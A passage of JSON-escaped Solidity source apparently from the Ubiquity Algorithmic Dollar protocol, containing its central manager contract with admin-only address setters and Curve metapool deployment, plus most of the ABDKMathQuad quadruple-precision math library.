^0.8.3;\n\n/// @title A mechanism for calculating uAR received for a dollar amount burnt\ninterface IUARForDollarsCalculator {\n function getUARAmount(uint256 dollarsToBurn, uint256 blockHeightDebt)\n external\n view\n returns (uint256);\n}\n" - }, - "contracts/UbiquityAlgorithmicDollarManager.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.3;\n\nimport \"@openzeppelin/contracts/access/AccessControl.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\n\nimport \"./interfaces/IUbiquityAlgorithmicDollar.sol\";\nimport \"./interfaces/ICurveFactory.sol\";\nimport \"./interfaces/IMetaPool.sol\";\n\nimport \"./TWAPOracle.sol\";\n\n/// @title A central config for the uAD system. Also acts as a central\n/// access control manager.\n/// @notice For storing constants. For storing variables and allowing them to\n/// be changed by the admin (governance)\n/// @dev This should be used as a central access control manager which other\n/// contracts use to check permissions\ncontract UbiquityAlgorithmicDollarManager is AccessControl {\n using SafeERC20 for IERC20;\n\n bytes32 public constant UBQ_MINTER_ROLE = keccak256(\"UBQ_MINTER_ROLE\");\n bytes32 public constant UBQ_BURNER_ROLE = keccak256(\"UBQ_BURNER_ROLE\");\n\n bytes32 public constant PAUSER_ROLE = keccak256(\"PAUSER_ROLE\");\n bytes32 public constant COUPON_MANAGER_ROLE = keccak256(\"COUPON_MANAGER\");\n bytes32 public constant BONDING_MANAGER_ROLE = keccak256(\"BONDING_MANAGER\");\n bytes32 public constant INCENTIVE_MANAGER_ROLE =\n keccak256(\"INCENTIVE_MANAGER\");\n bytes32 public constant UBQ_TOKEN_MANAGER_ROLE =\n keccak256(\"UBQ_TOKEN_MANAGER_ROLE\");\n address public twapOracleAddress;\n address public debtCouponAddress;\n address public dollarTokenAddress; // uAD\n address public couponCalculatorAddress;\n address public dollarMintingCalculatorAddress;\n address public bondingShareAddress;\n address public bondingContractAddress;\n address public stableSwapMetaPoolAddress;\n address public curve3PoolTokenAddress; // 3CRV\n address public treasuryAddress;\n address public governanceTokenAddress; // uGOV\n address public sushiSwapPoolAddress; // sushi pool uAD-uGOV\n address public masterChefAddress;\n address public formulasAddress;\n address public autoRedeemTokenAddress; // uAR\n address public uarCalculatorAddress; // uAR calculator\n\n //key = address of couponmanager, value = excessdollardistributor\n mapping(address => address) private _excessDollarDistributors;\n\n modifier onlyAdmin() {\n require(\n hasRole(DEFAULT_ADMIN_ROLE, msg.sender),\n \"uADMGR: Caller is not admin\"\n );\n _;\n }\n\n constructor(address _admin) {\n _setupRole(DEFAULT_ADMIN_ROLE, _admin);\n _setupRole(UBQ_MINTER_ROLE, _admin);\n _setupRole(PAUSER_ROLE, _admin);\n _setupRole(COUPON_MANAGER_ROLE, _admin);\n _setupRole(BONDING_MANAGER_ROLE, _admin);\n _setupRole(INCENTIVE_MANAGER_ROLE, _admin);\n _setupRole(UBQ_TOKEN_MANAGER_ROLE, address(this));\n }\n\n // TODO Add a generic setter for extra addresses that needs to be linked\n function setTwapOracleAddress(address _twapOracleAddress)\n external\n onlyAdmin\n {\n twapOracleAddress = _twapOracleAddress;\n // to be removed\n\n TWAPOracle oracle = TWAPOracle(twapOracleAddress);\n oracle.update();\n }\n\n function setuARTokenAddress(address _uarTokenAddress) external onlyAdmin {\n autoRedeemTokenAddress = _uarTokenAddress;\n }\n\n function setDebtCouponAddress(address _debtCouponAddress)\n external\n onlyAdmin\n {\n debtCouponAddress = _debtCouponAddress;\n }\n\n function setIncentiveToUAD(address _account, address _incentiveAddress)\n external\n onlyAdmin\n {\n IUbiquityAlgorithmicDollar(dollarTokenAddress).setIncentiveContract(\n _account,\n _incentiveAddress\n );\n }\n\n function setDollarTokenAddress(address _dollarTokenAddress)\n external\n onlyAdmin\n {\n dollarTokenAddress = _dollarTokenAddress;\n }\n\n function setGovernanceTokenAddress(address _governanceTokenAddress)\n external\n onlyAdmin\n {\n governanceTokenAddress = _governanceTokenAddress;\n }\n\n function setSushiSwapPoolAddress(address _sushiSwapPoolAddress)\n external\n onlyAdmin\n {\n sushiSwapPoolAddress = _sushiSwapPoolAddress;\n }\n\n function setUARCalculatorAddress(address _uarCalculatorAddress)\n external\n onlyAdmin\n {\n uarCalculatorAddress = _uarCalculatorAddress;\n }\n\n function setCouponCalculatorAddress(address _couponCalculatorAddress)\n external\n onlyAdmin\n {\n couponCalculatorAddress = _couponCalculatorAddress;\n }\n\n function setDollarMintingCalculatorAddress(\n address _dollarMintingCalculatorAddress\n ) external onlyAdmin {\n dollarMintingCalculatorAddress = _dollarMintingCalculatorAddress;\n }\n\n function setExcessDollarsDistributor(\n address debtCouponManagerAddress,\n address excessCouponDistributor\n ) external onlyAdmin {\n _excessDollarDistributors[\n debtCouponManagerAddress\n ] = excessCouponDistributor;\n }\n\n function setMasterChefAddress(address _masterChefAddress)\n external\n onlyAdmin\n {\n masterChefAddress = _masterChefAddress;\n }\n\n function setFormulasAddress(address _formulasAddress) external onlyAdmin {\n formulasAddress = _formulasAddress;\n }\n\n function setBondingShareAddress(address _bondingShareAddress)\n external\n onlyAdmin\n {\n bondingShareAddress = _bondingShareAddress;\n }\n\n function setStableSwapMetaPoolAddress(address _stableSwapMetaPoolAddress)\n external\n onlyAdmin\n {\n stableSwapMetaPoolAddress = _stableSwapMetaPoolAddress;\n }\n\n /**\n @notice set the bonding bontract smart contract address\n @dev bonding contract participants deposit curve LP token\n for a certain duration to earn uGOV and more curve LP token\n @param _bondingContractAddress bonding contract address\n */\n function setBondingContractAddress(address _bondingContractAddress)\n external\n onlyAdmin\n {\n bondingContractAddress = _bondingContractAddress;\n }\n\n /**\n @notice set the treasury address\n @dev the treasury fund is used to maintain the protocol\n @param _treasuryAddress treasury fund address\n */\n function setTreasuryAddress(address _treasuryAddress) external onlyAdmin {\n treasuryAddress = _treasuryAddress;\n }\n\n /**\n @notice deploy a new Curve metapools for uAD Token uAD/3Pool\n @dev From the curve documentation for uncollateralized algorithmic\n stablecoins amplification should be 5-10\n @param _curveFactory MetaPool factory address\n @param _crvBasePool Address of the base pool to use within the new metapool.\n @param _crv3PoolTokenAddress curve 3Pool token Address\n @param _amplificationCoefficient amplification coefficient. The smaller\n it is the closer to a constant product we are.\n @param _fee Trade fee, given as an integer with 1e10 precision.\n */\n function deployStableSwapPool(\n address _curveFactory,\n address _crvBasePool,\n address _crv3PoolTokenAddress,\n uint256 _amplificationCoefficient,\n uint256 _fee\n ) external onlyAdmin {\n // Create new StableSwap meta pool (uAD <-> 3Crv)\n address metaPool =\n ICurveFactory(_curveFactory).deploy_metapool(\n _crvBasePool,\n ERC20(dollarTokenAddress).name(),\n ERC20(dollarTokenAddress).symbol(),\n dollarTokenAddress,\n _amplificationCoefficient,\n _fee\n );\n stableSwapMetaPoolAddress = metaPool;\n\n // Approve the newly-deployed meta pool to transfer this contract's funds\n uint256 crv3PoolTokenAmount =\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this));\n uint256 uADTokenAmount =\n IERC20(dollarTokenAddress).balanceOf(address(this));\n\n // safe approve revert if approve from non-zero to non-zero allowance\n IERC20(_crv3PoolTokenAddress).safeApprove(metaPool, 0);\n IERC20(_crv3PoolTokenAddress).safeApprove(\n metaPool,\n crv3PoolTokenAmount\n );\n\n IERC20(dollarTokenAddress).safeApprove(metaPool, 0);\n IERC20(dollarTokenAddress).safeApprove(metaPool, uADTokenAmount);\n\n // coin at index 0 is uAD and index 1 is 3CRV\n require(\n IMetaPool(metaPool).coins(0) == dollarTokenAddress &&\n IMetaPool(metaPool).coins(1) == _crv3PoolTokenAddress,\n \"uADMGR: COIN_ORDER_MISMATCH\"\n );\n // Add the initial liquidity to the StableSwap meta pool\n uint256[2] memory amounts =\n [\n IERC20(dollarTokenAddress).balanceOf(address(this)),\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this))\n ];\n\n // set curve 3Pool address\n curve3PoolTokenAddress = _crv3PoolTokenAddress;\n IMetaPool(metaPool).add_liquidity(amounts, 0, msg.sender);\n }\n\n function getExcessDollarsDistributor(address _debtCouponManagerAddress)\n external\n view\n returns (address)\n {\n return _excessDollarDistributors[_debtCouponManagerAddress];\n }\n}\n" - }, - "contracts/libs/ABDKMathQuad.sol": { - "content": "// SPDX-License-Identifier: BSD-4-Clause\n/*\n * ABDK Math Quad Smart Contract Library. Copyright © 2019 by ABDK Consulting.\n * Author: Mikhail Vladimirov \n */\npragma solidity ^0.8.0;\n\n/**\n * Smart contract library of mathematical functions operating with IEEE 754\n * quadruple-precision binary floating-point numbers (quadruple precision\n * numbers). As long as quadruple precision numbers are 16-bytes long, they are\n * represented by bytes16 type.\n */\nlibrary ABDKMathQuad {\n /*\n * 0.\n */\n bytes16 private constant _POSITIVE_ZERO =\n 0x00000000000000000000000000000000;\n\n /*\n * -0.\n */\n bytes16 private constant _NEGATIVE_ZERO =\n 0x80000000000000000000000000000000;\n\n /*\n * +Infinity.\n */\n bytes16 private constant _POSITIVE_INFINITY =\n 0x7FFF0000000000000000000000000000;\n\n /*\n * -Infinity.\n */\n bytes16 private constant _NEGATIVE_INFINITY =\n 0xFFFF0000000000000000000000000000;\n\n /*\n * Canonical NaN value.\n */\n bytes16 private constant NaN = 0x7FFF8000000000000000000000000000;\n\n /**\n * Convert signed 256-bit integer number into quadruple precision number.\n *\n * @param x signed 256-bit integer number\n * @return quadruple precision number\n */\n function fromInt(int256 x) internal pure returns (bytes16) {\n unchecked {\n if (x == 0) return bytes16(0);\n else {\n // We rely on overflow behavior here\n uint256 result = uint256(x > 0 ? x : -x);\n\n uint256 msb = mostSignificantBit(result);\n if (msb < 112) result <<= 112 - msb;\n else if (msb > 112) result >>= msb - 112;\n\n result =\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\n ((16383 + msb) << 112);\n if (x < 0) result |= 0x80000000000000000000000000000000;\n\n return bytes16(uint128(result));\n }\n }\n }\n\n /**\n * Convert quadruple precision number into signed 256-bit integer number\n * rounding towards zero. Revert on overflow.\n *\n * @param x quadruple precision number\n * @return signed 256-bit integer number\n */\n function toInt(bytes16 x) internal pure returns (int256) {\n unchecked {\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\n\n require(exponent <= 16638); // Overflow\n if (exponent < 16383) return 0; // Underflow\n\n uint256 result =\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\n 0x10000000000000000000000000000;\n\n if (exponent < 16495) result >>= 16495 - exponent;\n else if (exponent > 16495) result <<= exponent - 16495;\n\n if (uint128(x) >= 0x80000000000000000000000000000000) {\n // Negative\n require(\n result <=\n 0x8000000000000000000000000000000000000000000000000000000000000000\n );\n return -int256(result); // We rely on overflow behavior here\n } else {\n require(\n result <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n );\n return int256(result);\n }\n }\n }\n\n /**\n * Convert unsigned 256-bit integer number into quadruple precision number.\n *\n * @param x unsigned 256-bit integer number\n * @return quadruple precision number\n */\n function fromUInt(uint256 x) internal pure returns (bytes16) {\n unchecked {\n if (x == 0) return bytes16(0);\n else {\n uint256 result = x;\n\n uint256 msb = mostSignificantBit(result);\n if (msb < 112) result <<= 112 - msb;\n else if (msb > 112) result >>= msb - 112;\n\n result =\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\n ((16383 + msb) << 112);\n\n return bytes16(uint128(result));\n }\n }\n }\n\n /**\n * Convert quadruple precision number into unsigned 256-bit integer number\n * rounding towards zero. Revert on underflow. Note, that negative floating\n * point numbers in range (-1.0 .. 0.0) may be converted to unsigned integer\n * without error, because they are rounded to zero.\n *\n * @param x quadruple precision number\n * @return unsigned 256-bit integer number\n */\n function toUInt(bytes16 x) internal pure returns (uint256) {\n unchecked {\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\n\n if (exponent < 16383) return 0; // Underflow\n\n require(uint128(x) < 0x80000000000000000000000000000000); // Negative\n\n require(exponent <= 16638); // Overflow\n uint256 result =\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\n 0x10000000000000000000000000000;\n\n if (exponent < 16495) result >>= 16495 - exponent;\n else if (exponent > 16495) result <<= exponent - 16495;\n\n return result;\n }\n }\n\n /**\n * Convert signed 128.128 bit fixed point number into quadruple precision\n * number.\n *\n * @param x signed 128.128 bit fixed point number\n * @return quadruple precision number\n */\n function from128x128(int256 x) internal pure returns (bytes16) {\n unchecked {\n if (x == 0) return bytes16(0);\n else {\n // We rely on overflow behavior here\n uint256 result = uint256(x > 0 ? x : -x);\n\n uint256 msb = mostSignificantBit(result);\n if (msb < 112) result <<= 112 - msb;\n else if (msb > 112) result >>= msb - 112;\n\n result =\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\n ((16255 + msb) << 112);\n if (x < 0) result |= 0x80000000000000000000000000000000;\n\n return bytes16(uint128(result));\n }\n }\n }\n\n /**\n * Convert quadruple precision number into signed 128.128 bit fixed point\n * number. Revert on overflow.\n *\n * @param x quadruple precision number\n * @return signed 128.128 bit fixed point number\n */\n function to128x128(bytes16 x) internal pure returns (int256) {\n unchecked {\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\n\n require(exponent <= 16510); // Overflow\n if (exponent < 16255) return 0; // Underflow\n\n uint256 result =\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\n 0x10000000000000000000000000000;\n\n if (exponent < 16367) result >>= 16367 - exponent;\n else if (exponent > 16367) result <<= exponent - 16367;\n\n if (uint128(x) >= 0x80000000000000000000000000000000) {\n // Negative\n require(\n result <=\n 0x8000000000000000000000000000000000000000000000000000000000000000\n );\n return -int256(result); // We rely on overflow behavior here\n } else {\n require(\n result <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n );\n return int256(result);\n }\n }\n }\n\n /**\n * Convert signed 64.64 bit fixed point number into quadruple precision\n * number.\n *\n * @param x signed 64.64 bit fixed point number\n * @return quadruple precision number\n */\n function from64x64(int128 x) internal pure returns (bytes16) {\n unchecked {\n if (x == 0) return bytes16(0);\n else {\n // We rely on overflow behavior here\n uint256 result = uint128(x > 0 ? x : -x);\n\n uint256 msb = mostSignificantBit(result);\n if (msb < 112) result <<= 112 - msb;\n else if (msb > 112) result >>= msb - 112;\n\n result =\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\n ((16319 + msb) << 112);\n if (x < 0) result |= 0x80000000000000000000000000000000;\n\n return bytes16(uint128(result));\n }\n }\n }\n\n /**\n * Convert quadruple precision number into signed 64.64 bit fixed point\n * number. Revert on overflow.\n *\n * @param x quadruple precision number\n * @return signed 64.64 bit fixed point number\n */\n function to64x64(bytes16 x) internal pure returns (int128) {\n unchecked {\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\n\n require(exponent <= 16446); // Overflow\n if (exponent < 16319) return 0; // Underflow\n\n uint256 result =\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\n 0x10000000000000000000000000000;\n\n if (exponent < 16431) result >>= 16431 - exponent;\n else if (exponent > 16431) result <<= exponent - 16431;\n\n if (uint128(x) >= 0x80000000000000000000000000000000) {\n // Negative\n require(result <= 0x80000000000000000000000000000000);\n return -int128(int256(result)); // We rely on overflow behavior here\n } else {\n require(result <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128(int256(result));\n }\n }\n }\n\n /**\n * Convert octuple precision number into quadruple precision number.\n *\n * @param x octuple precision number\n * @return quadruple precision number\n */\n function fromOctuple(bytes32 x) internal pure returns (bytes16) {\n unchecked {\n bool negative =\n x &\n 0x8000000000000000000000000000000000000000000000000000000000000000 >\n 0;\n\n uint256 exponent = (uint256(x) >> 236) & 0x7FFFF;\n uint256 significand =\n uint256(x) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n if (exponent == 0x7FFFF) {\n if (significand > 0) return NaN;\n else return negative ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\n }\n\n if (exponent > 278526)\n return negative ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\n else if (exponent < 245649)\n return negative ? _NEGATIVE_ZERO : _POSITIVE_ZERO;\n else if (exponent < 245761) {\n significand =\n (significand |\n 0x100000000000000000000000000000000000000000000000000000000000) >>\n (245885 - exponent);\n exponent = 0;\n } else {\n significand >>= 124;\n exponent -= 245760;\n }\n\n uint128 result = uint128(significand | (exponent << 112));\n if (negative) result |= 0x80000000000000000000000000000000;\n\n return bytes16(result);\n }\n }\n\n /**\n * Convert quadruple precision number into octuple precision number.\n *\n * @param x quadruple precision number\n * @return octuple precision number\n */\n function toOctuple(bytes16 x) internal pure returns (bytes32) {\n unchecked {\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\n\n uint256 result = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n if (exponent == 0x7FFF)\n exponent = 0x7FFFF; // Infinity or NaN\n else if (exponent == 0) {\n if (result > 0) {\n uint256 msb = mostSignificantBit(result);\n result =\n (result << (236 - msb)) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n exponent = 245649 + msb;\n }\n } else {\n result <<= 124;\n exponent += 245760;\n }\n\n result |= exponent << 236;\n if (uint128(x) >= 0x80000000000000000000000000000000)\n result |= 0x8000000000000000000000000000000000000000000000000000000000000000;\n\n return bytes32(result);\n }\n }\n\n /**\n * Convert double precision number into quadruple precision number.\n *\n * @param x double precision number\n * @return quadruple precision number\n */\n function fromDouble(bytes8 x) internal pure returns (bytes16) {\n unchecked {\n uint256 exponent = (uint64(x) >> 52) & 0x7FF;\n\n uint256 result = uint64(x) & 0xFFFFFFFFFFFFF;\n\n if (exponent == 0x7FF)\n exponent = 0x7FFF; // Infinity or NaN\n else if (exponent == 0) {\n if (result > 0) {\n uint256 msb = mostSignificantBit(result);\n result =\n (result << (112 - msb)) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n exponent = 15309 + msb;\n }\n } else {\n result <<= 60;\n exponent += 15360;\n }\n\n result |= exponent << 112;\n if (x & 0x8000000000000000 > 0)\n result |= 0x80000000000000000000000000000000;\n\n return bytes16(uint128(result));\n }\n }\n\n /**\n * Convert quadruple precision number into double precision number.\n *\n * @param x quadruple precision number\n * @return double precision number\n */\n function toDouble(bytes16 x) internal pure returns (bytes8) {\n unchecked {\n bool negative = uint128(x) >= 0x80000000000000000000000000000000;\n\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\n uint256 significand = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n if (exponent == 0x7FFF) {\n if (significand > 0) return 0x7FF8000000000000;\n // NaN\n else\n return\n negative\n ? bytes8(0xFFF0000000000000) // -Infinity\n : bytes8(0x7FF0000000000000); // Infinity\n }\n\n if (exponent > 17406)\n return\n negative\n ? bytes8(0xFFF0000000000000) // -Infinity\n : bytes8(0x7FF0000000000000);\n // Infinity\n else if (exponent < 15309)\n return\n negative\n ? bytes8(0x8000000000000000) // -0\n : bytes8(0x0000000000000000);\n // 0\n else if (exponent < 15361) {\n significand =\n (significand | 0x10000000000000000000000000000) >>\n (15421 - exponent);\n exponent = 0;\n } else {\n significand >>= 60;\n exponent -= 15360;\n }\n\n uint64 result = uint64(significand | (exponent << 52));\n if (negative) result |= 0x8000000000000000;\n\n return bytes8(result);\n }\n }\n\n /**\n * Test whether given quadruple precision number is NaN.\n *\n * @param x quadruple precision number\n * @return true if x is NaN, false otherwise\n */\n function isNaN(bytes16 x) internal pure returns (bool) {\n unchecked {\n return\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF >\n 0x7FFF0000000000000000000000000000;\n }\n }\n\n /**\n * Test whether given quadruple precision number is positive or negative\n * infinity.\n *\n * @param x quadruple precision number\n * @return true if x is positive or negative infinity, false otherwise\n */\n function isInfinity(bytes16 x) internal pure returns (bool) {\n unchecked {\n return\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ==\n 0x7FFF0000000000000000000000000000;\n }\n }\n\n /**\n * Calculate sign of x, i.e. -1 if x is negative, 0 if x if zero, and 1 if x\n * is positive. Note that sign (-0) is zero. Revert if x is NaN.\n *\n * @param x quadruple precision number\n * @return sign of x\n */\n function sign(bytes16 x) internal pure returns (int8) {\n unchecked {\n uint128 absoluteX = uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n require(absoluteX <= 0x7FFF0000000000000000000000000000); // Not NaN\n\n if (absoluteX == 0) return 0;\n else if (uint128(x) >= 0x80000000000000000000000000000000)\n return -1;\n else return 1;\n }\n }\n\n /**\n * Calculate sign (x - y). Revert if either argument is NaN, or both\n * arguments are infinities of the same sign.\n *\n * @param x quadruple precision number\n * @param y quadruple precision number\n * @return sign (x - y)\n */\n function cmp(bytes16 x, bytes16 y) internal pure returns (int8) {\n unchecked {\n uint128 absoluteX = uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n require(absoluteX <= 0x7FFF0000000000000000000000000000); // Not NaN\n\n uint128 absoluteY = uint128(y) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n require(absoluteY <= 0x7FFF0000000000000000000000000000); // Not NaN\n\n // Not infinities of the same sign\n require(x != y || absoluteX < 0x7FFF0000000000000000000000000000);\n\n if (x == y) return 0;\n else {\n bool negativeX =\n uint128(x) >= 0x80000000000000000000000000000000;\n bool negativeY =\n uint128(y) >= 0x80000000000000000000000000000000;\n\n if (negativeX) {\n if (negativeY) return absoluteX > absoluteY ? -1 : int8(1);\n else return -1;\n } else {\n if (negativeY) return 1;\n else return absoluteX > absoluteY ? int8(1) : -1;\n }\n }\n }\n }\n\n /**\n * Test whether x equals y. NaN, infinity, and -infinity are not equal to\n * anything.\n *\n * @param x quadruple precision number\n * @param y quadruple precision number\n * @return true if x equals to y, false otherwise\n */\n function eq(bytes16 x, bytes16 y) internal pure returns (bool) {\n unchecked {\n if (x == y) {\n return\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF <\n 0x7FFF0000000000000000000000000000;\n } else return false;\n }\n }\n\n /**\n * Calculate x + y. Special values behave in the following way:\n *\n * NaN + x = NaN for any x.\n * Infinity + x = Infinity for any finite x.\n * -Infinity + x = -Infinity for any finite x.\n * Infinity + Infinity = Infinity.\n * -Infinity + -Infinity = -Infinity.\n * Infinity + -Infinity = -Infinity + Infinity = NaN.\n *\n * @param x quadruple precision number\n * @param y quadruple precision number\n * @return quadruple precision number\n */\n function add(bytes16 x, bytes16 y) internal pure returns (bytes16) {\n unchecked {\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\n\n if (xExponent == 0x7FFF) {\n if (yExponent == 0x7FFF) {\n if (x == y) return x;\n else return NaN;\n } else return x;\n } else if (yExponent == 0x7FFF) return y;\n else {\n bool xSign = uint128(x) >= 0x80000000000000000000000000000000;\n uint256 xSignifier =\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n if (xExponent == 0) xExponent = 1;\n else xSignifier |= 0x10000000000000000000000000000;\n\n bool ySign = uint128(y) >= 0x80000000000000000000000000000000;\n uint256 ySignifier =\n uint128(y) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n if (yExponent == 0) yExponent = 1;\n else ySignifier |= 0x10000000000000000000000000000;\n\n if (xSignifier == 0)\n return y == _NEGATIVE_ZERO ? _POSITIVE_ZERO : y;\n else if (ySignifier == 0)\n return x == _NEGATIVE_ZERO ? _POSITIVE_ZERO : x;\n else {\n int256 delta = int256(xExponent) - int256(yExponent);\n\n if (xSign == ySign) {\n if (delta > 112) return x;\n else if (delta > 0) ySignifier >>= uint256(delta);\n else if (delta < -112) return y;\n else if (delta < 0) {\n xSignifier >>= uint256(-delta);\n xExponent = yExponent;\n }\n\n xSignifier += ySignifier;\n\n if (xSignifier >= 0x20000000000000000000000000000) {\n xSignifier >>= 1;\n xExponent += 1;\n }\n\n if (xExponent == 0x7FFF)\n return\n xSign ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\n else {\n if (xSignifier < 0x10000000000000000000000000000)\n xExponent = 0;\n else xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n return\n bytes16(\n uint128(\n (\n xSign\n ? 0x80000000000000000000000000000000\n : 0\n ) |\n (xExponent << 112) |\n xSignifier\n )\n );\n }\n } else {\n if (delta > 0) {\n xSignifier <<= 1;\n xExponent -= 1;\n } else if (delta < 0) {\n ySignifier <<= 1;\n xExponent = yExponent - 1;\n }\n\n if (delta > 112) ySignifier = 1;\n else if (delta > 1)\n ySignifier =\n ((ySignifier - 1) >> uint256(delta - 1)) +\n 1;\n else if (delta < -112) xSignifier = 1;\n else if (delta < -1)\n xSignifier =\n ((xSignifier - 1) >> uint256(-delta - 1)) +\n 1;\n\n if (xSignifier >= ySignifier) xSignifier -= ySignifier;\n else {\n xSignifier = ySignifier - xSignifier;\n xSign = ySign;\n }\n\n if (xSignifier == 0) return _POSITIVE_ZERO;\n\n uint256 msb = mostSignificantBit(xSignifier);\n\n if (msb == 113) {\n xSignifier =\n (xSignifier >> 1) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n xExponent += 1;\n } else if (msb < 112) {\n uint256 shift = 112 - msb;\n if (xExponent > shift) {\n xSignifier =\n (xSignifier << shift) &\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n xExponent -= shift;\n } else {\n xSignifier <<= xExponent - 1;\n xExponent = 0;\n }\n } else xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n if (xExponent == 0x7FFF)\n return\n xSign ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\n else\n return\n bytes16(\n uint128(\n (\n xSign\n ? 0x80000000000000000000000000000000\n : 0\n ) |\n (xExponent << 112) |\n xSignifier\n )\n );\n }\n }\n }\n }\n }\n\n /**\n * Calculate x - y. Special values behave in the following way:\n *\n * NaN - x = NaN for any x.\n * Infinity - x = Infinity for any finite x.\n * -Infinity - x = -Infinity for any finite x.\n * Infinity - -Infinity = Infinity.\n * -Infinity - Infinity = -Infinity.\n * Infinity - Infinity = -Infinity - -Infinity = NaN.\n *\n * @param x quadruple precision number\n * @param y quadruple precision number\n * @return quadruple precision number\n */\n function sub(bytes16 x, bytes16 y) internal pure returns (bytes16) {\n unchecked {return add(x, y ^ 0x80000000000000000000000000000000);}\n }\n\n /**\n * Calculate x * y. Special values behave in the following way:\n *\n * NaN * x = NaN for any x.\n * Infinity * x = Infinity for any finite positive x.\n * Infinity * x = -Infinity for any finite negative x.\n * -Infinity * x = -Infinity for any finite positive x.\n * -Infinity * x = Infinity for any finite negative x.\n * Infinity * 0 = NaN.\n * -Infinity * 0 = NaN.\n * Infinity * Infinity = Infinity.\n * Infinity * -Infinity = -Infinity.\n * -Infinity * Infinity = -Infinity.\n * -Infinity * -Infinity = Infinity.\n *\n * @param x quadruple precision number\n * @param y quadruple precision number\n * @return quadruple precision number\n */\n function mul(bytes16 x, bytes16 y) internal pure returns (bytes16) {\n unchecked {\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\n\n if (xExponent == 0x7FFF) {\n if (yExponent == 0x7FFF) {\n if (x == y)\n return x ^ (y & 0x80000000000000000000000000000000);\n else if (x ^ y == 0x80000000000000000000000000000000)\n return x | y;\n else return NaN;\n } else {\n if (y & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\n else return x ^ (y & 0x80000000000000000000000000000000);\n }\n } else if (yExponent == 0x7FFF) {\n if (x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\n else return y ^ (x & 0x80000000000000000000000000000000);\n } else {\n uint256 xSignifier =\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n if (xExponent == 0) xExponent = 1;\n else xSignifier |= 0x10000000000000000000000000000;\n\n uint256 ySignifier =\n uint128(y) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n if (yExponent == 0) yExponent = 1;\n else ySignifier |= 0x10000000000000000000000000000;\n\n xSignifier *= ySignifier;\n if (xSignifier == 0)\n return\n (x ^ y) & 0x80000000000000000000000000000000 > 0\n ? _NEGATIVE_ZERO\n : _POSITIVE_ZERO;\n\n xExponent += yExponent;\n\n uint256 msb =\n xSignifier >=\n 0x200000000000000000000000000000000000000000000000000000000\n ? 225\n : xSignifier >=\n 0x100000000000000000000000000000000000000000000000000000000\n ? 224\n : mostSignificantBit(xSignifier);\n\n if (xExponent + msb < 16496) {\n // Underflow\n xExponent = 0;\n xSignifier = 0;\n } else if (xExponent + msb < 16608) {\n // Subnormal\n if (xExponent < 16496) xSignifier >>= 16496 - xExponent;\n else if (xExponent > 16496)\n xSignifier <<= xExponent - 16496;\n xExponent = 0;\n } else if (xExponent + msb > 49373) {\n xExponent = 0x7FFF;\n xSignifier = 0;\n } else {\n if (msb > 112) xSignifier >>= msb - 112;\n else if (msb < 112) xSignifier 